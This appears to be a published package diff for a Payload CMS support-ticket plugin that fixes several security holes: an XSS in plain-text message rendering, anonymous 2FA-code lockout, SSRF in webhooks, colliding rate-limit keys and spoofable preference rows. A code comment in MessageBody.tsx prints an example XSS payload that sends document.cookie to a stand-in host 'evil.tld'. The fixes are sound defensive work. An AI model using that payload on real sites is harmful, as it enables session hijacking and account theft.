@consilioweb/payload-support 3.0.0 → 4.0.0

package/src/portal/auth/tickets/detail/MessageBody.tsx

@@ -0,0 +1,88 @@
+import React from 'react'
+
+/**
+ * Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
+ *
+ * This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
+ * replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
+ * target into `href="$2"`. Since the URL pattern accepts every character but
+ * whitespace and `)`, a body such as
+ *
+ *     [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
+ *
+ * closed the `href` attribute and added a real event-handler attribute.
+ * `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
+ * pipeline copies `pendingEmail.body` verbatim into a ticket message
+ * (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
+ * looks at `bodyHtml`.
+ *
+ * The fix is to stop building HTML: React escapes text nodes and attribute
+ * values on its own, so no quoting mistake is possible. The URL is additionally
+ * parsed and restricted to http/https before it reaches an `href`.
+ *
+ * Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
+ */
+
+/** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
+const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
+
+/** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
+export function safeHttpUrl(raw: string): string | null {
+  try {
+    const url = new URL(raw)
+    if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
+    return url.toString()
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Split a plain-text body into text nodes and `<a>` elements.
+ * Exported (rather than inlined in the page) so the escaping contract is
+ * unit-testable — the page itself imports `@payload-config` and cannot be
+ * loaded from a test.
+ */
+export function renderPlainMessageBody(body: string): React.ReactNode[] {
+  const nodes: React.ReactNode[] = []
+  const re = new RegExp(CODE_LINK_RE.source, 'g')
+  let lastIndex = 0
+  let match: RegExpExecArray | null
+
+  while ((match = re.exec(body)) !== null) {
+    if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
+
+    const href = safeHttpUrl(match[2])
+    if (href) {
+      nodes.push(
+        <a
+          key={`code-${match.index}`}
+          href={href}
+          target="_blank"
+          rel="noopener noreferrer"
+          className="text-blue-600 underline font-semibold"
+        >
+          🔗 Voir le code partagé
+        </a>,
+      )
+    } else {
+      // Not a usable link — show the raw marker as text rather than dropping it.
+      nodes.push(match[0])
+    }
+
+    lastIndex = match.index + match[0].length
+  }
+
+  if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
+  return nodes
+}
+
+export function PlainMessageBody({ body }: { body: string }) {
+  return (
+    <div className="whitespace-pre-wrap text-sm leading-relaxed">
+      {renderPlainMessageBody(body ?? '').map((node, i) => (
+        <React.Fragment key={i}>{node}</React.Fragment>
+      ))}
+    </div>
+  )
+}

package/src/portal/auth/tickets/detail/page.tsx

@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
 import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
 import { ReadReceipt } from './ReadReceipt'
 import { TransferAndInviteActions } from './TransferAndInviteActions'
+import { PlainMessageBody } from './MessageBody'
 // Document type for ticket attachments
 type PayloadDocument = { filename?: string; title?: string; url?: string }
 
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
                             dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
                           />
                         ) : (
-                          <div className="whitespace-pre-wrap text-sm leading-relaxed" dangerouslySetInnerHTML={{
-                            __html: msg.body
-                              .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
-                              .replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
-                              .replace(/\n/g, '<br/>')
-                          }} />
+                          <PlainMessageBody body={msg.body} />
                         )}
 
                         {/* Attachments */}

package/src/portal/login/page.tsx

@@ -32,6 +32,10 @@ function SupportLoginContent() {
 
   // 2FA state
   const [needs2FA, setNeeds2FA] = useState(false)
+  // Proof that the password step succeeded, minted by /support/login. Required
+  // by /support/2fa {action:'send'} — that endpoint no longer sends a code to
+  // anyone who merely knows the address.
+  const [challenge, setChallenge] = useState('')
   const [twoFactorCode, setTwoFactorCode] = useState('')
   const [sending2FA, setSending2FA] = useState(false)
 
@@ -60,10 +64,11 @@ function SupportLoginContent() {
       if (data.requires2FA) {
         // Send 2FA code
         setSending2FA(true)
+        setChallenge(data.challenge || '')
         const codeRes = await fetch('/api/support/2fa', {
           method: 'POST',
           headers: { 'Content-Type': 'application/json' },
-          body: JSON.stringify({ action: 'send', email }),
+          body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
         })
 
         if (codeRes.ok) {
@@ -130,12 +135,15 @@ function SupportLoginContent() {
       const res = await fetch('/api/support/2fa', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ action: 'send', email }),
+        body: JSON.stringify({ action: 'send', email, challenge }),
       })
       if (res.ok) {
         setError('')
       } else {
-        setError('Erreur lors du renvoi du code.')
+        // 401 = the challenge expired (10 min): the password must be re-entered.
+        setError(res.status === 401
+          ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
+          : 'Erreur lors du renvoi du code.')
       }
     } catch {
       setError('Erreur de connexion.')

package/src/utils/fireWebhooks.ts

@@ -1,6 +1,7 @@
 import type { Payload } from 'payload'
 import type { CollectionSlugs } from './slugs'
 import { dbFind, dbUpdate } from './db'
+import { safeFetch } from './urlSafety'
 
 /**
  * Fire all active webhooks matching the given event.
@@ -39,7 +40,9 @@ export async function fireWebhooks(
     await Promise.allSettled(
       endpoints.docs.map(async (endpoint: any) => {
         try {
-          const res = await fetch(endpoint.url, {
+          // Same SSRF guards as `dispatchWebhook` — this transport is deprecated
+          // but still exported, so it must not stay an open door.
+          const res = await safeFetch(endpoint.url, {
             method: 'POST',
             headers: {
               'Content-Type': 'application/json',

package/src/utils/rateLimiter.ts

@@ -119,27 +119,61 @@ export class PayloadRateLimitStore implements RateLimitStore {
   }
 }
 
+/**
+ * Identity part of a rate-limit key for an authenticated caller.
+ *
+ * Ids are per-collection sequences: support-client #7 and agent #7 are different
+ * people with the same `id`. Keying a limiter on `String(user.id)` alone let one
+ * consume the other's budget, so the auth collection travels with the id.
+ */
+export function principalRateKey(
+  user: { id?: unknown; collection?: unknown } | null | undefined,
+): string {
+  if (!user || user.id === undefined || user.id === null) return 'anonymous'
+  const collection = typeof user.collection === 'string' && user.collection ? user.collection : 'unknown'
+  return `${collection}:${String(user.id)}`
+}
+
 export class RateLimiter {
   private readonly store: RateLimitStore
-
+  private readonly prefix: string
+
+  /**
+   * @param namespace  Endpoint-scoped prefix for every key this limiter writes.
+   *   The store is SHARED (`rateLimitStore: 'payload'` builds one instance for
+   *   all endpoints), and the raw keys collide across endpoints: `ip` was used
+   *   by both the login and the chatbot limiter — 10 forged chatbot requests
+   *   locked a victim out of the portal for 15 minutes — and `String(user.id)`
+   *   by five different endpoints. Always pass one; it is optional only because
+   *   `RateLimiter` is part of the published API surface.
+   */
   constructor(
     private readonly windowMs: number,
     private readonly maxRequests: number,
     store?: RateLimitStore,
+    namespace?: string,
   ) {
     this.store = store ?? new MemoryRateLimitStore()
+    this.prefix = namespace ? `${namespace}:` : ''
+  }
+
+  /** The key actually written to the store. Exposed for assertions in tests. */
+  scopedKey(key: string): string {
+    return `${this.prefix}${key}`
   }
 
   async check(key: string, context?: unknown): Promise<boolean> {
+    const scoped = this.scopedKey(key)
     const entry = context === undefined
-      ? await this.store.increment(key, this.windowMs)
-      : await this.store.increment(key, this.windowMs, context)
+      ? await this.store.increment(scoped, this.windowMs)
+      : await this.store.increment(scoped, this.windowMs, context)
     return entry.count > this.maxRequests
   }
 
   async reset(key: string, context?: unknown): Promise<void> {
-    if (context === undefined) await this.store.reset(key)
-    else await this.store.reset(key, context)
+    const scoped = this.scopedKey(key)
+    if (context === undefined) await this.store.reset(scoped)
+    else await this.store.reset(scoped, context)
   }
 }
 import { commitTransaction, initTransaction, killTransaction, type PayloadRequest } from 'payload'

package/src/utils/readSettings.ts

@@ -13,6 +13,50 @@ const USER_PREFS_KEY_PREFIX = 'support-user-prefs'
 /** Pre-2.1 standalone round-robin row — read as a fallback, then folded into `features`. */
 const LEGACY_ROUND_ROBIN_KEY = 'support-round-robin'
 
+/**
+ * Key under which `plugin.ts` publishes the resolved staff collection slug on
+ * `config.custom`. It is the ONE source of truth shared by the read path (here)
+ * and the write path (`requireAdmin` → `slugs.users`).
+ */
+export const SUPPORT_STAFF_SLUG_CONFIG_KEY = 'supportStaffCollection'
+
+/**
+ * Owner scope for every `payload-preferences` row this plugin reads back.
+ *
+ * `payload-preferences` is writable by ANY authenticated principal, whatever its
+ * auth collection: Payload's `POST /api/payload-preferences/:key` handler only
+ * checks `!!req.user` before upserting the row. Reading a plugin-wide row by key
+ * alone therefore lets a front-office user (or a support-client) plant their own
+ * row and have the whole plugin read it — replyTo addresses, SLA escalation
+ * address, AI provider, feature flags.
+ *
+ * Every read below is constrained to `user.relationTo = <staff collection>`, the
+ * same scope the WRITE path already uses (endpoints/settings.ts, signature.ts,
+ * user-prefs.ts all upsert with `req.user.collection`, and all three are guarded
+ * by `requireAdmin`, which compares against `slugs.users`).
+ *
+ * TWO SOURCES OF TRUTH WERE THE BUG: this used to resolve the scope from
+ * `config.admin.user`, which Payload defaults to the FIRST auth collection of
+ * the app when the integrator did not declare it (config/sanitize.js). On a host
+ * whose first auth collection is the front office and whose staff collection is
+ * declared through `collectionSlugs.users`, the read scope named the front
+ * office while the write scope named the staff — and the poisoning this scope
+ * was added to defeat was open again. So the plugin now PUBLISHES the resolved
+ * `slugs.users` on `config.custom` (see plugin.ts) and reads it back here.
+ * `config.admin.user` remains a last-resort fallback for callers using these
+ * helpers outside of a plugin-built config; there is no plugin deployment in
+ * which it is consulted.
+ */
+export function resolveStaffPrefSlug(payload: Payload, staffSlug?: string): string {
+  if (staffSlug) return staffSlug
+  const config = (payload as unknown as {
+    config?: { admin?: { user?: string }; custom?: Record<string, unknown> }
+  }).config
+  const registered = config?.custom?.[SUPPORT_STAFF_SLUG_CONFIG_KEY]
+  if (typeof registered === 'string' && registered) return registered
+  return config?.admin?.user || 'users'
+}
+
 export interface SupportSettings {
   email: { fromAddress: string; fromName: string; replyToAddress: string }
   ai: { provider: string; model: string; enableSentiment: boolean; enableSynthesis: boolean; enableSuggestion: boolean; enableRewrite: boolean }
@@ -44,8 +88,17 @@ export const DEFAULT_USER_PREFS: UserPrefs = {
 // (the afterChange hook chain). The settings doc changes rarely, so a short TTL
 // + explicit invalidation on save (endpoints/settings.ts) avoids redundant DB
 // reads of the same `payload-preferences` row.
-let settingsCache: { value: SupportSettingsState; ts: number } | null = null
+// Keyed by the STAFF SLUG the read was scoped to: a single shared slot would
+// serve one install's (or one test's) settings to another whose scope differs.
+// Bounded — the key comes from config, never from a request — but capped anyway
+// so an integrator calling the exported helper with arbitrary slugs cannot grow
+// it without limit.
+const settingsCache = new Map<string, { value: SupportSettingsState; ts: number }>()
 const SETTINGS_TTL_MS = 60_000
+const SETTINGS_CACHE_MAX = 8
+
+/** Rate-limits the "settings row exists but is not staff-owned" warning, per scope. */
+const warnedForeignSettingsRow = new Set<string>()
 
 export interface SupportSettingsState {
   settings: SupportSettings
@@ -59,7 +112,8 @@ export interface SupportSettingsState {
 
 /** Invalidate the settings cache — call right after writing support settings. */
 export function invalidateSupportSettingsCache(): void {
-  settingsCache = null
+  settingsCache.clear()
+  warnedForeignSettingsRow.clear()
 }
 
 /**
@@ -85,9 +139,14 @@ export function mergeSupportSettings(
   }
 }
 
-export async function readSupportSettingsState(payload: Payload): Promise<SupportSettingsState> {
-  if (settingsCache && Date.now() - settingsCache.ts < SETTINGS_TTL_MS) {
-    return settingsCache.value
+export async function readSupportSettingsState(
+  payload: Payload,
+  staffSlug?: string,
+): Promise<SupportSettingsState> {
+  const staff = resolveStaffPrefSlug(payload, staffSlug)
+  const cached = settingsCache.get(staff)
+  if (cached && Date.now() - cached.ts < SETTINGS_TTL_MS) {
+    return cached.value
   }
   let value: SupportSettingsState = {
     settings: mergeSupportSettings(null),
@@ -95,7 +154,10 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
   }
   try {
     const prefs = await dbFind(payload, 'payload-preferences', {
-      where: { key: { equals: PREF_KEY } },
+      // Sibling keys are AND-ed by Payload. The `user.relationTo` clause is the
+      // security boundary: without it any authenticated principal can plant a
+      // `support-settings` row and own the plugin's server settings.
+      where: { key: { equals: PREF_KEY }, 'user.relationTo': { equals: staff } },
       // The upsert is scoped per admin user, so several rows can share the key.
       // Sorting makes "last write wins" deterministic instead of arbitrary.
       sort: '-updatedAt',
@@ -110,24 +172,63 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
       // Honour it until the first save writes `features` — after that the
       // legacy row is ignored, and both write paths land in `features`.
       if (!featuresConfigured) {
-        settings.features.roundRobin = await readLegacyRoundRobin(payload)
+        settings.features.roundRobin = await readLegacyRoundRobin(payload, staff)
       }
 
       value = { settings, featuresConfigured }
+    } else {
+      await warnOnForeignSettingsRow(payload, staff)
     }
   } catch { /* fallback to defaults */ }
-  settingsCache = { value, ts: Date.now() }
+  if (settingsCache.size >= SETTINGS_CACHE_MAX && !settingsCache.has(staff)) settingsCache.clear()
+  settingsCache.set(staff, { value, ts: Date.now() })
   return value
 }
 
-export async function readSupportSettings(payload: Payload): Promise<SupportSettings> {
-  return (await readSupportSettingsState(payload)).settings
+/**
+ * The scoped read came back empty. That is normal on a fresh install, but it is
+ * also what an operator sees when the settings row was written under another
+ * owner than the resolved staff collection: the row exists, is ignored,
+ * and the whole plugin silently runs on the defaults — a `try/catch` away from
+ * any signal. So: if a row with this key exists under ANOTHER owner, say so.
+ *
+ * Same message covers the other case, deliberately: a `support-settings` row
+ * owned by a non-staff principal is exactly the poisoning attempt this scope was
+ * added to defeat, and the operator should hear about it. Once per cache window
+ * at most (the extra query only runs when nothing was found).
+ */
+async function warnOnForeignSettingsRow(payload: Payload, staff: string): Promise<void> {
+  if (warnedForeignSettingsRow.has(staff)) return
+  try {
+    const any = await dbFind(payload, 'payload-preferences', {
+      where: { key: { equals: PREF_KEY } },
+      limit: 1, depth: 0, overrideAccess: true,
+    })
+    if (any.docs.length === 0) return // fresh install — nothing to report
+    if (warnedForeignSettingsRow.size >= SETTINGS_CACHE_MAX) warnedForeignSettingsRow.clear()
+    warnedForeignSettingsRow.add(staff)
+    console.warn(
+      `[support] A "${PREF_KEY}" preference row exists but none is owned by the "${staff}" collection: ` +
+        'the plugin is running on its DEFAULT settings. Either the staff auth collection differs from ' +
+        '`admin.user`, or the row was written by a principal that is not staff — in which case it is ' +
+        'ignored on purpose.',
+    )
+  } catch {
+    /* diagnostic only — never let it change the outcome */
+  }
+}
+
+export async function readSupportSettings(
+  payload: Payload,
+  staffSlug?: string,
+): Promise<SupportSettings> {
+  return (await readSupportSettingsState(payload, staffSlug)).settings
 }
 
-async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
+async function readLegacyRoundRobin(payload: Payload, staff: string): Promise<boolean> {
   try {
     const prefs = await dbFind(payload, 'payload-preferences', {
-      where: { key: { equals: LEGACY_ROUND_ROBIN_KEY } },
+      where: { key: { equals: LEGACY_ROUND_ROBIN_KEY }, 'user.relationTo': { equals: staff } },
       limit: 1, depth: 0, overrideAccess: true,
     })
     if (prefs.docs.length > 0) {
@@ -137,11 +238,20 @@ async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
   return DEFAULT_TICKETING_FEATURES.roundRobin
 }
 
-export async function readUserPrefs(payload: Payload, userId: string | number): Promise<UserPrefs> {
+export async function readUserPrefs(
+  payload: Payload,
+  userId: string | number,
+  staffSlug?: string,
+): Promise<UserPrefs> {
   try {
     const key = `${USER_PREFS_KEY_PREFIX}-${userId}`
+    // Ids collide across auth collections: a support-client with id 7 would
+    // otherwise own `support-user-prefs-7`, the row read back for agent 7.
     const prefs = await dbFind(payload, 'payload-preferences', {
-      where: { key: { equals: key } },
+      where: {
+        key: { equals: key },
+        'user.relationTo': { equals: resolveStaffPrefSlug(payload, staffSlug) },
+      },
       limit: 1, depth: 0, overrideAccess: true,
     })
     if (prefs.docs.length > 0) {

package/src/utils/ticketAccess.ts

@@ -13,11 +13,24 @@ import { dbFind } from './db'
  *
  * Returns an empty array when the client has no accessible tickets — callers MUST
  * treat that as "deny" (e.g. filter on a sentinel id) rather than "allow all".
+ *
+ * `mode` selects which of the two scopes is wanted:
+ *  - `'read'` (default) — owned tickets + every ticket collaborated on, whatever
+ *    the role. This is the historical behaviour and what `access.read` needs.
+ *  - `'write'` — owned tickets + collaborated tickets whose row carries
+ *    `role === 'collaborator'`. The invitation endpoint offers two roles and the
+ *    invitation email promises "lecteur (consultation)" for `viewer`, but nothing
+ *    ever read the field back: a viewer could post into the thread and trigger the
+ *    whole notification chain. Rows with no explicit role are treated as viewers
+ *    (the collection's own `defaultValue`), i.e. read-only — fail closed.
  */
+export type TicketAccessMode = 'read' | 'write'
+
 export async function resolveAccessibleTicketIds(
   payload: Payload,
   slugs: CollectionSlugs,
   clientId: number | string,
+  mode: TicketAccessMode = 'read',
 ): Promise<Array<number | string>> {
   const ids = new Set<number | string>()
 
@@ -41,7 +54,9 @@ export async function resolveAccessibleTicketIds(
       overrideAccess: true,
     })
     for (const r of collab.docs) {
-      const row = r as { ticket?: number | string | { id?: number | string } }
+      const row = r as { ticket?: number | string | { id?: number | string }; role?: string }
+      // `viewer` (and any row without an explicit role) grants read only.
+      if (mode === 'write' && row.role !== 'collaborator') continue
       const tid = typeof row.ticket === 'object' ? row.ticket?.id : row.ticket
       if (tid !== undefined && tid !== null) ids.add(tid)
     }

package/src/utils/twoFactorChallenge.ts

@@ -0,0 +1,80 @@
+import { createHmac, timingSafeEqual } from 'crypto'
+
+/**
+ * Proof that the password step already succeeded for this email address.
+ *
+ * `POST /support/2fa {action:'send'}` used to accept an email and nothing else.
+ * Its only guard was a limiter keyed on that email — 3 sends per hour — so an
+ * ANONYMOUS caller who knew a victim's address (they circulate in ticket threads
+ * and email copies) could burn the quota in three requests and leave the victim
+ * unable to obtain the code their own login now demands. Since the OAuth path
+ * enforces 2FA as well, that was a complete, renewable account lockout, plus an
+ * outbound-email amplifier and a way to overwrite a code already in flight.
+ *
+ * The fix keys the consumable resource to something the ATTACKER cannot produce:
+ * a short-lived signature issued only by a successful password (or Google)
+ * authentication. Same HMAC-over-PAYLOAD_SECRET construction as the tracking
+ * pixel, no storage, no new dependency.
+ *
+ * Format: `<expiry-ms>.<hex hmac>`. The signature covers the email AND the
+ * expiry, so neither can be swapped without invalidating the token, and a token
+ * issued for one account is useless for another.
+ */
+
+/** Matches the 10-minute validity of the code the challenge lets you request. */
+export const TWO_FACTOR_CHALLENGE_TTL_MS = 10 * 60 * 1000
+
+function challengeSecret(): string {
+  const secret = process.env.PAYLOAD_SECRET
+  if (!secret) {
+    // Fail closed: the codes themselves are hashed with this secret, so 2FA is
+    // already inoperable without it — never fall back to a source-visible value.
+    throw new Error(
+      '[support][2fa] PAYLOAD_SECRET is not set — refusing to issue a 2FA challenge with an insecure fallback secret',
+    )
+  }
+  return secret
+}
+
+function normalizeEmail(email: string): string {
+  return String(email).trim().toLowerCase()
+}
+
+function sign(email: string, expiresAt: number): string {
+  return createHmac('sha256', challengeSecret())
+    .update(`2fa-challenge:${normalizeEmail(email)}:${expiresAt}`)
+    .digest('hex')
+}
+
+/** Issued by the login endpoints once credentials have been verified. */
+export function issueTwoFactorChallenge(email: string, now: number = Date.now()): string {
+  const expiresAt = now + TWO_FACTOR_CHALLENGE_TTL_MS
+  return `${expiresAt}.${sign(email, expiresAt)}`
+}
+
+/** Constant-time; false on any malformed, expired or foreign token. */
+export function verifyTwoFactorChallenge(
+  email: unknown,
+  token: unknown,
+  now: number = Date.now(),
+): boolean {
+  if (typeof email !== 'string' || !email || typeof token !== 'string') return false
+  const separator = token.indexOf('.')
+  if (separator <= 0) return false
+
+  const expiresAt = Number(token.slice(0, separator))
+  if (!Number.isSafeInteger(expiresAt) || expiresAt <= now) return false
+
+  const received = token.slice(separator + 1)
+  if (!/^[0-9a-f]{64}$/i.test(received)) return false
+
+  let expected: string
+  try {
+    expected = sign(email, expiresAt)
+  } catch {
+    return false // no secret configured — fail closed
+  }
+  const a = Buffer.from(expected, 'hex')
+  const b = Buffer.from(received.toLowerCase(), 'hex')
+  return a.length === b.length && timingSafeEqual(a, b)
+}